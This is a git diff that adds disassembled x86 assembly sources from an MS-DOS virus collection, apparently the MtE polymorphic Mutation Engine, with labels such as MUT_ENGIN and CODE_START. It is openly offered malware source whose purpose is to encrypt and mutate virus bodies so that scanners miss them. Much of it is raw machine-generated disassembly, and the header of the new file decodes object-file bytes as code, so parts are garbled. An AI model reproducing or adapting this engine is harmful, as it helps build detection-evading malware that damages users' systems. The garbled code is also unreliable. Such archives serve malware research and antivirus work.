+sub_23: + push di + mov di,offset ds:[144h] ; (78CA:0144=0) + mov ax,0FFFFh + stosw ; Store ax to es:[di] + inc al + stosw ; Store ax to es:[di] + stosw ; Store ax to es:[di] + dec al + stosw ; Store ax to es:[di] + mov [di+3],al + mov bl,[di-23h] + push bx + push dx +;* call sub_32 ;*(0682) + db 0E8h, 9Ah, 01h + mov si,di + call sub_35 ; (06E6) + pop dx + pop bx + pop di + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_25: + push bx + inc bp + jz loc_54 ; Jump if zero + dec bp +;* jnz loc_57 ;*Jump if not zero + db 75h, 62h + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_26: + inc bp +loc_54: + dec bp + inc dx + jz loc_55 ; Jump if zero + dec dx + dec bp + mov al,[si] +;* call sub_42 ;*(095B) + db 0E8h, 58h, 04h + inc bp +loc_55: + pop bx + push di + call sub_36 ; (070E) + or bp,bp ; Zero ? + jnz loc_56 ; Jump if not zero + pop cx + dec bp + mov ax,150h + xchg ax,[si-1Ch] + or dh,dh ; Zero ? + js $+22h ; Jump if sign=1 + inc bp + push cx + push ax + mov al,[si+3] + and al,0B7h + cmp al,87h + jne loc_58 ; Jump if not equal + cmp bp,[si-12h] + jne loc_58 ; Jump if not equal + db 6Dh, 9Ch, 1Fh, 00h, 84h, 6Ah + db 16h, 01h, 01h, 85h, 94h, 16h + db 01h, 02h, 85h,0D8h, 16h, 01h + db 02h, 85h,0DCh, 16h, 01h, 02h + db 0C5h, 47h, 14h, 01h, 01h,0C6h + db 71h, 14h, 01h, 01h,0AEh,0A0h + db 0E7h, 03h, 01h +loc_56: + in al,3 ; port 3, DMA-1 bas&cnt ch 1 + xor byte ptr [di-4],2 + shl byte ptr [si+3],1 ; Shift w/zeros fill + jns loc_62 ; Jump if not sign + mov bl,0F7h + mov al,3 + jmp short loc_61 ; (05A3) + cmp cx,15Ch + jne loc_59 ; Jump if not equal + sub cx,3 + sub di,3 + mov bl,[si] +loc_58: + xor bh,bh ; Zero register + dec byte ptr [bx+si-10h] +loc_59: + mov bx,data_8e ; (0000:0150=0E0h) + jmp short loc_65 ; (05E7) + or dh,dh ; Zero ? + jns loc_60 ; Jump if not sign + mov dh,[si] + jmp short loc_60 ; (0592) + push bp + call sub_40 ; (0737) + mov al,[si+1] + or al,90h + stosb ; Store al to es:[di] + pop ax + or dh,dh ; Zero ? + jns loc_60 ; Jump if not sign + xchg ax,dx +loc_60: + pop ax + mov bh,0FFh + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_27: + mov byte ptr [di],0CBh + retn + db 0E8h, 00h, 00h + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_28: + and al,2 + add al,87h + xchg ax,bx + mov al,dh +loc_61: +;* call sub_13 ;*(03D6) + db 0E8h, 30h,0FEh +loc_62: + mov al,[si] + cmp di,359h + jae loc_63 ; Jump if above or = + push ax + dec bp + xor dl,dl ; Zero register + mov dh,al + shr byte ptr [si-1Eh],1 ; Shift w/zeros fill + call sub_25 ; (04F0) + push dx + push di + call sub_21 ; (0471) + call sub_31 ; (0675) + pop di + pop dx + push cx + call sub_26 ; (04F7) + pop cx + pop ax +;* call sub_44 ;*(0984) + db 0E8h,0B7h, 03h + or ch,ch ; Zero ? + js loc_64 ; Jump if sign=1 +loc_63: + or al,40h ; '@' + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] +loc_64: + mov al,75h ; 'u' + stosb ; Store al to es:[di] + pop bx + pop ax + mov cx,ax + sub ax,di + dec ax + stosb ; Store al to es:[di] + or al,al ; Zero ? + js loc_65 ; Jump if sign=1 + xor bx,bx ; Zero register + retn +loc_65: + call sub_27 ; (0595) + push cx + mov dx,559h + cmp di,359h + jae loc_72 ; Jump if above or = + push bx + mov bl,7 + mov dx,bp +;* call sub_24 ;*(04EC) + db 0E8h,0F0h,0FEh + push di + mov di,offset ds:[158h] ; (78CA:0158=95h) + xor bx,bx ; Zero register + mov dx,di + mov cl,[si-18h] +loc_66: + shr cl,1 ; Shift w/zeros fill + pushf ; Push flags + jnc loc_67 ; Jump if carry=0 + cmp bh,[bx+si-10h] + jne loc_67 ; Jump if not equal + lea ax,[bx+50h] ; Load effective addr + std ; Set direction flag + stosb ; Store al to es:[di] +loc_67: + inc bx + popf ; Pop flags + jnz loc_66 ; Jump if not zero + inc di + cmp di,dx + jae loc_70 ; Jump if above or = + cmp bh,[si-1Dh] + jne loc_68 ; Jump if not equal + mov di,dx + mov byte ptr [di],60h ; '`' + jmp short loc_70 ; (0643) +loc_68: + push di +loc_69: + call sub_29 ; (062F) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_29: + and al,7 + cbw ; Convrt byte to word + xchg ax,bx + add bx,di + cmp bx,dx + ja loc_69 ; Jump if above + mov al,[di] + xchg al,[bx] + stosb ; Store al to es:[di] + cmp di,dx + jne loc_69 ; Jump if not equal + pop di +loc_70: + pop bp + mov cx,bp + sub cx,di + cmp word ptr [si-1Ah],0 + je loc_71 ; Jump if equal + add cx,15Ch + sub cx,di +loc_71: + mov dx,[si-14h] + mov ax,dx + add dx,cx + add ax,[si-12h] + pop bx + cmp word ptr [si-12h],0 + jne loc_73 ; Jump if not equal +loc_72: + mov ax,dx +loc_73: + call sub_30 ; (066F) + xchg ax,dx + pop dx + mov bx,[si-1Ch] +sub_22 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_30 proc near + sub ax,[si-16h] + mov [bx],ax + retn +sub_30 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_31 proc near + xor cx,cx ; Zero register + mov al,data_17 ; (78CA:0129=0) + cbw ; Convrt byte to word + xchg ax,bx + mov dx,0FFFEh + mov al,[bx] + cmp al,3 + je loc_74 ; Jump if equal + cmp al,4 + jne loc_ret_75 ; Jump if not equal + neg dx +loc_74: + shl bl,1 ; Shift w/zeros fill + push bx + inc bx + call sub_33 ; (0696) + pop bx + mov dx,2 + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_33: + mov bl,[bx+21h] + cmp bh,[bx] + jne loc_ret_75 ; Jump if not equal + mov si,bx + add dx,[bx+si+21h] + or dl,dl ; Zero ? + jz loc_ret_75 ; Jump if zero + mov [bx+si+21h],dx + dec cx + +loc_ret_75: + retn +sub_31 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_34 proc near + xor bh,bh ; Zero register + and byte ptr [bx],7Fh + mov dl,[bx] + mov ax,bx + shl bl,1 ; Shift w/zeros fill + mov bx,[bx+21h] + cmp dl,3 + jb loc_ret_80 ; Jump if below + push ax + push bx + call sub_34 ; (06AB) + pop bx + mov bl,bh + push dx + call sub_34 ; (06AB) + xchg ax,bx + pop cx + pop bx + mov dh,[bx] + sub dh,0Dh + jz loc_76 ; Jump if zero + add dh,7 + jnz loc_77 ; Jump if not zero +loc_76: + mov [di+3],dh + mov [di-0Eh],dh + jmp short loc_79 ; (0705) +loc_77: + cmp dh,5 + jae loc_79 ; Jump if above or = + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_35: + or dl,dl ; Zero ? + jnz loc_78 ; Jump if not zero + cmp dl,[di-1Dh] + je loc_79 ; Jump if equal + sub al,0Eh + and al,0Fh + cmp al,5 + jae loc_78 ; Jump if above or = + cmp al,2 + jae loc_79 ; Jump if above or = + cmp dh,3 + jb loc_79 ; Jump if below +loc_78: + mov [di-0Fh],bh + mov dl,80h +loc_79: + or dl,cl + and dl,80h + or dl,[bx] + mov [bx],dl + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_36: + +loc_ret_80: + retn +sub_34 endp + + call sub_38 ; (0720) + call sub_37 ; (0715) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_37 proc near + and al,7 + jz loc_83 ; Jump if zero + xor al,al ; Zero register + cmp al,[si+3] + je loc_83 ; Jump if equal + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_38: +loc_81: + call sub_39 ; (0723) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_39: + and al,3 + jnz loc_82 ; Jump if not zero + mov al,7 +loc_82: + xor al,4 +loc_83: + cbw ; Convrt byte to word + mov bx,ax + xchg bh,[bx+si-8] + or bh,bh ; Zero ? + jz loc_81 ; Jump if zero + stosb ; Store al to es:[di] + +loc_ret_84: + retn +sub_37 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_40 proc near + mov word ptr [si+2],80FFh + xor bh,bh ; Zero register + mov al,[bx] + and ax,7Fh + shl bl,1 ; Shift w/zeros fill + mov dx,0FF00h + dec ax + jz loc_ret_84 ; Jump if zero + mov dh,[si] + dec ax + jz loc_ret_84 ; Jump if zero + mov dx,[bx+21h] + js loc_ret_84 ; Jump if sign=1 + push ax + push dx + push bx + mov bl,dh + call sub_40 ; (0737) + pop bx + pop cx + pop ax + cmp al,0Ch + jne loc_89 ; Jump if not equal + or dl,dl ; Zero ? + jnz loc_ret_84 ; Jump if not zero + cmp dh,[si] + je loc_ret_84 ; Jump if equal + push ax + push cx + push bx + push dx + call sub_43 ; (0981) + pop dx + mov ax,[si+1] + cmp dh,al + jne loc_85 ; Jump if not equal + or ah,ah ; Zero ? + jz loc_86 ; Jump if zero +loc_85: + mov bl,85h + call sub_18 ; (0447) +loc_86: + pop bx + mov al,75h ; 'u' + stosb ; Store al to es:[di] + inc bp + jz loc_88 ; Jump if zero + cmp di,data_15e ; (5F44:0359=0FFh) + jb loc_87 ; Jump if below + add byte ptr [di-1],57h ; 'W' +loc_87: + mov ax,di + xchg ax,[bx+63h] + mov ds:data_12e[bx],ax ; (5F44:00E7=0FFFFh) +loc_88: + dec bp + inc di + mov dx,di + jmp short loc_96 ; (080D) +loc_89: + push ax + push cx + or dl,dl ; Zero ? + jnz loc_96 ; Jump if not zero + cmp dh,[si+1] + jne loc_96 ; Jump if not equal + mov al,[si+3] + or al,al ; Zero ? + js loc_91 ; Jump if sign=1 + and al,7 + jz loc_90 ; Jump if zero + cmp al,[si] + je loc_91 ; Jump if equal + cmp al,3 + jb loc_91 ; Jump if below +loc_90: + xor byte ptr [di-2],2 + test byte ptr [si+3],40h ; '@' + jz loc_94 ; Jump if zero + push ax + or al,0D8h + mov ah,al + mov al,0F7h + stosw ; Store ax to es:[di] + pop ax + jmp short loc_94 ; (0807) +loc_91: + call sub_41 ; (07DA) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_41: + mov cx,8 +loc_92: + push ax + mov al,dh + or al,50h ; 'P' + stosb ; Store al to es:[di] + pop ax + mov bl,80h + jcxz loc_95 ; Jump if cx=0 + dec di + dec cx + inc ax + and al,7 + cbw ; Convrt byte to word + mov bx,ax + mov ah,[bx+si-8] + or ah,ah ; Zero ? + jz loc_92 ; Jump if zero + dec bx + jnz loc_93 ; Jump if not zero + pop bx + push bx + xor bh,bh ; Zero register + mov ah,[bx] + or ah,ah ; Zero ? + js loc_92 ; Jump if sign=1 +loc_93: +;* call sub_44 ;*(0984) + db 0E8h, 7Dh, 01h +loc_94: + xchg ax,bx + inc byte ptr [bx+si-8] +loc_95: + mov dh,bl +loc_96: + pop bx + push dx + call sub_40 ; (0737) + call sub_43 ; (0981) + pop dx + pop ax + mov byte ptr [si+3],80h + cmp al,0Ch + jne loc_97 ; Jump if not equal + mov bx,dx + mov dx,di + sub dx,bx + mov [bx-1],dl +;* jmp loc_122 ;*(094D) + db 0E9h, 22h, 01h +loc_97: + mov ch,ah + push ax + or dl,dl ; Zero ? + jnz loc_100 ; Jump if not zero + cmp dh,80h + jne loc_99 ; Jump if not equal + sub al,5 + cmp al,4 + mov al,1 + jc loc_98 ; Jump if carry Set + inc ax +loc_98: + mov dh,al + or al,58h ; 'X' + stosb ; Store al to es:[di] + jmp short loc_100 ; (0856) +loc_99: + or dh,dh ; Zero ? + js loc_100 ; Jump if sign=1 + cmp dh,[si] + je loc_100 ; Jump if equal + mov bl,dh + xor bh,bh ; Zero register + dec byte ptr [bx+si-8] +loc_100: + pop ax + mov bl,0Bh + sub al,9 + jz loc_101 ; Jump if zero + mov bl,23h ; '#' + dec ax + jz loc_101 ; Jump if zero + add al,6 + cbw ; Convrt byte to word + jns loc_109 ; Jump if not sign + mov bl,33h ; '3' + inc ax + jz loc_101 ; Jump if zero + mov bl,3 + jp loc_101 ; Jump if parity=1 + mov bl,2Bh ; '+' +loc_101: + mov al,[si+1] + or dl,dl ; Zero ? + jnz loc_104 ; Jump if not zero + and dh,87h + cmp bl,2Bh ; '+' + jne loc_102 ; Jump if not equal + or dh,40h ; '@' +loc_102: + mov [si+3],dh +loc_103: +;* call sub_12 ;*(03D2) + db 0E8h, 48h,0FBh + jnc loc_116 ; Jump if carry=0 + or al,al ; Zero ? + jz loc_104 ; Jump if zero + inc bp +loc_104: + xor bl,6 + push dx + inc dx + inc dx + cmp dx,5 + pop dx + jnc loc_113 ; Jump if carry=0 + or ax,ax ; Zero ? + js loc_106 ; Jump if sign=1 + cmp bl,35h ; '5' + jne loc_113 ; Jump if not equal + inc dx + jnz loc_112 ; Jump if not zero + mov dh,al + mov al,2 +loc_105: + mov bl,0F7h + mov ch,bl + jmp short loc_103 ; (0887) +loc_106: + or dx,dx ; Zero ? + jns loc_107 ; Jump if not sign + neg dx + xor bl,28h ; '(' +loc_107: + or al,40h ; '@' + cmp bl,5 + je loc_108 ; Jump if equal + or al,8 +loc_108: + stosb ; Store al to es:[di] + dec dx + jz loc_116 ; Jump if zero + stosb ; Store al to es:[di] + jmp short loc_116 ; (08FD) +loc_109: + mov cl,4 + jnz loc_117 ; Jump if not zero +loc_110: + or dl,dl ; Zero ? + jz loc_111 ; Jump if zero + mov ax,2BAh + stosb ; Store al to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] +loc_111: + xchg ax,cx + jmp short loc_105 ; (08AD) +loc_112: + dec dx +loc_113: + or al,al ; Zero ? + jz loc_115 ; Jump if zero + and bl,38h ; '8' + or al,0C0h + or bl,al + mov al,dl + cbw ; Convrt byte to word + xor ax,dx + mov al,81h + jnz loc_114 ; Jump if not zero + mov al,83h + stc ; Set carry flag +loc_114: + stosb ; Store al to es:[di] +loc_115: + xchg ax,bx + stosb ; Store al to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] + jnc loc_116 ; Jump if carry=0 + dec di +loc_116: +;* jmp short loc_121 ;*(094A) + db 0EBh, 4Bh +loc_117: + inc cx + cmp al,7 + je loc_110 ; Jump if equal + inc ax + cmp al,4 + pushf ; Push flags + jnc loc_118 ; Jump if carry=0 + sub al,2 +loc_118: + or dl,dl ; Zero ? +;* jnz loc_123 ;*Jump if not zero + db 75h, 43h + push ax + mov al,1 + mov bl,8Ah + mov ch,bl + cmp dh,3 + je loc_119 ; Jump if equal + inc bx +loc_119: +;* call sub_15 ;*(0424) + db 0E8h, 04h,0FBh + pop ax + popf ; Pop flags + push ax + jc loc_120 ; Jump if carry Set + mov ax,1F80h + test ah,[si-1Dh] + jz loc_120 ; Jump if zero + stosb ; Store al to es:[di] + mov al,0E1h + stosw ; Store ax to es:[di] +loc_120: + pop ax + mov bl,0D3h + mov dl,1 + les bx,dword ptr [si+1Ah] ; Load 32 bit ptr + nop ;*ASM fixup - displacement + test al,[bx+16h] + add [bp+si],ax + test bl,dl + push ss + add [bp+si],ax + test ax,ax + push ss + add [bp+si],ax + test cx,si + push ss + add [bp+si],ax + xchg al,ds:data_13e[di] ; (5F44:0116=0FFh) + add al,[bx+di] + mov al,ds:data_11e ; (5F44:0071=0FFh) + add di,ax + pop es +loc_125: + mov dh,[si+1] +;* call sub_20 ;*(046B) + db 0E8h, 0Bh,0FBh + xchg ax,dx + cmp bl,0C1h + je loc_126 ; Jump if equal + shr al,1 ; Shift w/zeros fill + jc loc_127 ; Jump if carry Set + xchg ax,bx + stosb ; Store al to es:[di] + xchg ax,dx +loc_126: + stosb ; Store al to es:[di] +loc_127: + mov [si+2],ch +loc_128: + mov dh,[si+1] + xor dl,dl ; Zero register + retn +sub_40 endp + + mov bl,0C1h + popf ; Pop flags + jnc loc_129 ; Jump if carry=0 + mov ch,bl + test dl,8 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_43 proc near + jz loc_129 ; Jump if zero + neg dl + xor al,1 +loc_129: + and dl,0Fh + jz loc_128 ; Jump if zero + cmp dl,1 + je loc_130 ; Jump if equal + cmp ah,[si-1Dh] + je loc_125 ; Jump if equal +loc_130: + mov bl,0D1h + cmp dl,3 + jb loc_125 ; Jump if below + push ax + mov al,0B1h + mov ah,dl + stosw ; Store ax to es:[di] +;* jmp short loc_124 ;*(0955) +sub_43 endp + + db 0EBh,0B0h + mov al,[si+1] + cbw ; Convrt byte to word + push ax + cmp di,359h + jae loc_131 ; Jump if above or = + mov bx,ax + mov [bx+si-10h],bh +loc_131: + or dl,dl ; Zero ? + jnz loc_132 ; Jump if not zero + mov bl,8Bh + call sub_17 ; (0444) + jnc loc_133 ; Jump if carry=0 +loc_132: + or al,0B8h + stosb ; Store al to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] +loc_133: + pop ax + retn + db 0A2h, 8Ah, 02h, 00h, 00h, 74h + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mte2.asm b/MSDOS/Virus.MSDOS.Unknown.mte2.asm new file mode 100644 index 00000000..79368eef --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mte2.asm @@ -0,0 +1,1577 @@ + +PAGE 59,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ MTE ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 17-Aug-91 ÛÛ +;ÛÛ Version: ÛÛ +;ÛÛ Code type: zero start ÛÛ +;ÛÛ Passes: 9 Analysis Options on: none ÛÛ +;ÛÛ ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +data_1e equ 0 ; (0000:0000=0E8h) +data_2e equ 0Ch ; (0000:000C=5) +data_3e equ 63h ; (0000:0063=0F6h) +data_4e equ 12Eh ; (0000:012E=0) +data_5e equ 132h ; (0000:0132=0F000h) +data_6e equ 134h ; (0000:0134=0E0h) +data_7e equ 13Ch ; (0000:013C=0E0h) +data_8e equ 150h ; (0000:0150=0E0h) +data_9e equ 559h ; (0000:0559=0) +data_10e equ 132h ; (0101:0132=70h) +data_11e equ 71h ; (5F44:0071=0FFh) +data_12e equ 0E7h ; (5F44:00E7=0FFFFh) +data_13e equ 116h ; (5F44:0116=0FFh) +data_14e equ 129h ; (5F44:0129=0FFh) +data_15e equ 359h ; (5F44:0359=0FFh) +data_26e equ 9101h ; (78CA:9101=0) +data_27e equ 23h ; (FFE7:0023=0) +data_28e equ 63h ; (FFE7:0063=0) +data_29e equ 129h ; (FFE7:0129=0) +data_30e equ 135h ; (FFE7:0135=0) +data_31e equ 136h ; (FFE7:0136=0) +data_32e equ 150h ; (FFE7:0150=0) +data_33e equ 159h ; (FFE7:0159=0) +data_34e equ 559h ; (FFE7:0559=0) +data_35e equ 3585h ; (FFE7:3585=36h) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +mte proc far + +start: + or byte ptr [bx+di],0 + pop es + db 'mte.ASM', 1Bh + db 88h, 1Fh, 00h, 00h, 00h + db 'Turbo Assembler Version 2.5' + db 0B4h, 88h, 0Fh, 00h, 40h,0E9h + db 0C9h, 93h, 12h, 17h, 07h + db 'mte.ASM_' + db 88h, 03h, 00h, 40h,0E9h, 4Ch + db 96h, 02h, 00h, 00h, 68h, 88h + db 03h, 00h, 40h,0A1h, 94h, 96h + db 0Ch, 00h, 05h, 5Fh, 54h, 45h + db 58h, 54h, 04h, 43h, 4Fh, 44h + db 45h, 96h, 98h, 07h, 00h, 48h + db 34h, 08h, 02h, 03h, 01h,0D7h + db 96h, 0Ch, 00h, 05h, 5Fh, 44h + db 41h, 54h, 41h, 04h, 44h, 41h + db 54h, 41h,0C2h, 98h, 07h, 00h + db 48h, 00h, 00h, 04h, 05h, 01h + db 0Fh, 96h, 08h, 00h, 06h, 44h + db 47h, 52h, 4Fh, 55h, 50h, 8Bh + db 9Ah, 06h, 00h, 06h,0FFh, 02h + db 0FFh, 01h, 59h, 8Ch, 14h, 00h + db 8, 'RND_INIT' + db 00h, 07h, 52h, 4Eh, 44h, 5Fh + db 47h, 45h, 54h, 00h,0B7h, 90h + db 10h, 00h, 00h, 00h, 00h, 00h + db 07h, 4Dh, 41h, 58h, 5Fh, 41h + db 44h, 44h, 00h, 02h, 00h, 49h + db 90h, 14h, 00h, 00h, 00h, 00h + db 00h, 0Bh + db 'MAX_ADD_LEN' + db 19h, 00h, 00h,0ECh, 90h, 11h + db 00h, 01h, 01h + db 0Ah, 'MUT_ENGIN' +data_16 db 45h + db 09h, 00h, 00h, 3Fh, 90h, 11h + db 00h, 00h, 00h, 00h, 00h + db 8, 'CODE_LEN4', 8 + db 00h,0C2h, 90h, 0Fh, 00h, 01h + db 01h + db 8, 'CODE_TOP4', 8 + db 00h,0AEh, 90h, 11h, 00h, 01h + db 01h + db 0Ah, 'CODE_START' + db 00h, 00h, 00h, 4Bh, 90h, 10h + db 00h +data_17 db 0 + db 0, 0 +data_18 db 0 + db 07h, 4Dh +data_19 db 41h + db 58h, 5Fh, 4Ch, 45h, 4Eh +data_20 db 72h +data_21 dw 5 + db 0BEh, 88h, 04h, 00h +loc_1: + inc ax + mov ds:data_26e,al ; (78CA:9101=0) + mov al,byte ptr ds:[3E8h] ; (78CA:03E8=0C3h) + add [bx+si],ax + add [di+74h],cl + inc bp + and [bx+si],dh + +locloop_2: + cmp cs:[bx+si],si + loopz locloop_2 ; Loop if zf=1, cx>0 + + push ds + push dx + push bp + call sub_2 ; (017C) + mov bx,dx + xchg ax,bp + pop dx + pop si + pop bp + sub bx,di + push bx + push di + push cx + call sub_5 ; (0222) + pop cx + pop si + mov di,data_9e ; (0000:0559=0) + sub di,cx + push di + push dx + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop cx + pop dx + pop si + sub cx,dx + sub di,dx + +mte endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near + mov ax,ds:data_31e ; (FFE7:0136=0) + neg ax + retn +sub_1 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + push es + pop ds + add cx,16h + neg cx + and cl,0FEh + jnz loc_3 ; Jump if not zero + dec cx + dec cx +loc_3: + xchg ax,di + mov ds:data_5e,ax ; (0000:0132=0F000h) +loc_4: + add ax,cx + and al,0FEh + jnz loc_5 ; Jump if not zero + dec ax + dec ax +loc_5: + push ax + xchg ax,di + mov di,data_6e ; (0000:0134=0E0h) + stosw ; Store ax to es:[di] + xchg ax,cx + stosw ; Store ax to es:[di] + xchg ax,bp + stosw ; Store ax to es:[di] + xchg ax,si + stosw ; Store ax to es:[di] + mov cl,20h ; ' ' + shl cl,cl ; Shift w/zeros fill + xor cl,20h ; ' ' + mov [di-0Dh],cl +loc_6: + pop bp + push bp + push bx + call sub_3 ; (01B2) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_3: + mov di,data_7e ; (0000:013C=0E0h) + mov cx,8 + mov al,0FFh + rep stosb ; Rep when cx >0 Store al to es:[di] + mov di,159h + mov bl,7 + call sub_4 ; (01DD) + dec di + cmp di,159h + je loc_7 ; Jump if equal + push dx + push di + push bp + mov ax,1 + call sub_6 ; (0284) + pop di + xchg ax,bp + stosw ; Store ax to es:[di] + pop di + pop dx +loc_7: + pop bx + pop ax + xor bp,bp ; Zero register + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_4: + push ax + push bx + push dx + push di + xor ax,ax ; Zero register + mov di,data_3e ; (0000:0063=0F6h) + mov cx,di + rep stosw ; Rep when cx >0 Store ax to es:[di] + mov al,4 + xchg al,[di+0Ch] + push ax + mov dx,[di+0Dh] + mov di,359h + push bp + call sub_22 ; (04C3) + pop bp + call sub_19 ; (0448) + pop ax + pop di + pop dx + mov data_20,al ; (78CA:0135=72h) + and al,1 + sub data_19,al ; (78CA:012F=41h) + push ax + call sub_23 ; (04CE) + pop ax + add [si-1Dh],al + xchg ax,bx + pop bx + sub ax,150h + jc loc_6 ; Jump if carry Set + jnz loc_8 ; Jump if not zero + cmp [si-12h],ax + jne loc_6 ; Jump if not equal +loc_8: + pop bx + retn +sub_2 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near + add cx,dx + mov dx,di + xchg ax,di + mov ax,ds:data_10e ; (0101:0132=70h) + test ax,ax + jnz loc_9 ; Jump if not zero + mov di,data_34e ; (FFE7:0559=0) +loc_9: + mov bx,data_33e ; 